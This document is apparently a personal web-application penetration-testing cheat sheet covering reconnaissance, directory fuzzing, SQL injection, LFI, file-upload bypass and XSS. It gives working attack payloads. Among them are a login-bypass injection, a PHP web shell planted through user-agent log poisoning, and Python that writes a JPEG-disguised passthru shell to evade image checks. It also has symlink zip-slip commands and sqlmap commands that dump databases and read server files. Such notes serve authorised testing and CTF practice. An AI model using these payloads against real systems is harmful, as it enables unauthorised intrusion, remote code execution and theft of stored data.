Reconnaissance

scan

- nikto --url [url]
- Zap
  - Automated scan
  - enter url
  - Attack button

crawl

•Burpsuite #it includes crawler which will followe every link and input form in the website

  - new scan -> crawl

page source

- view the html source of web page # right-click -> view page source or add view-source: before the http://
  - look for :
    - src (src=)
    - href (href=)
    - hidden (type="hidden")
    - script (<script>)
    - comments (<script>)

improtant files

- files and directories to check if its exist
    - robot.txt
    - .htaccess
    - sitemap.xml
    - config.php
    - readme
    - security.txt

Fuzzing

FILES

- gobuster dir --url http://10.10.149.157/ --wordlist /usr/share/dirb/wordlists/common.txt -x .php,.txt,.html
    - extensions to fuzz
        - php
        - html
        - txt
        - bak

Directory

- gobuster dir --url <ip> --wordlist /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt

parameters

Name:
- wfuzz -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt --hh <length of response without parameter> http://example.com/index.php?FUZZ

Value:
- wfuzz -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt --hh <length of response without parameter> http://example.com/index.php?FUZZ

loaded files

- check files loaded by webpage
  - f12 -> network tab

parameters

- look for parameters (?id=1) in get requests (links) and try
  - LFI
  - sqli

Input forms

- look for all input forms
  - register
  - contact
  - login
  - search
- to be tested for
  - sqli
  - xss

  - ssti
  - os command injection

login

- sqli **' or 1=1--**
- null bind

registeration

- Create users with following criteria may be signed in database as one
  - with same name but different cases
  - with same name with adding space

cookies

- check avaliable cookies after login

Requests & responses

- check requests by webapp for valuable data
- try change request

Authorization

- search for authorization types
  - admin

    - user
- check the json representation of html files if avaliable
- tamper with links to access other contents # ?user=attacker -> ?user=victim

Exploits

Server Side

Authentication

- **Brute Forcing/Weak Credentials**
    - seclist -> names.txt
- **Session Management** (cookies)
- **null bind** (login forms)

LFI

- LFI like directory traversal instead of only reading file it allows to execute php tags
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion

RCE

- esclate to RCE with log poisoning

  - try read access.log
  - intercept the request and inject php code in user-agent #**<?php system($_GET['cmd']); ?>**
  - access the log again and add **&cmd=[command]** to the end and search for the output

file uplaod

- check the upload request

bypass waf

- bypass
  - exif_imagetype #magicbytes checker
    - fh = open('shell.php', 'w')
    - fh.write('\xFF\xD8\xFF\xE0' + '<? passthru($_GET["cmd"]); ?>')
    - fh.close()

file types

zip

- if website show to content of uploaded zip use zip slip to read local file
  - ln -s <pathtofile> symlink
  - zip --symlinks symlink.zip symlink

Injection

sqli

- add **'** or " and look for errors if no errors try blind sqli
- using **like binary** instead of **=**
- combine username and password # query = select * from users where username="[input]" and password ="[input]"
  - write **/*** in username
  - write ***/** in password #this will comment this part **" and password ="** from the query
  - then write **" or 1=1 --**
  - modified query = select * from users where username="/*" and password ="*/ " or 1=1 --

blind sqli

time based

- " select sleep(10); -- #sleep for 10 second

waf bypass

- owasp sqli waf bypass

automation

- sqlmap #r.txt is the request copy from burp suite
  - list possible database : sqlmap -r r.txt --dbs --batch
  - list tables of database : sqlmap -r r.txt -D databasename --table --batch
  - list columns of database : sqlmap -r r.txt -D databasename -T tablename --columns --batch
  - retrive data from column : sqlmap -r r.txt -D databasename -T tablename -C [column1,column2,..] --batch --dump
  - read file : sqlmap -r r.txt --file-read=[path]

ssti

- tplmap #ssti automation tool

OS command injection

Mass assignment

- owasp cheat sheet

Application Logic

- https://www.netsparker.com/blog/web-security/logical-vs-technical-web-applicationvulnerabilities/

Client Side

XSS

- look for reflected text
  - try ><script>alert(1);</script>
  - check cheatsheets for bypassing techniques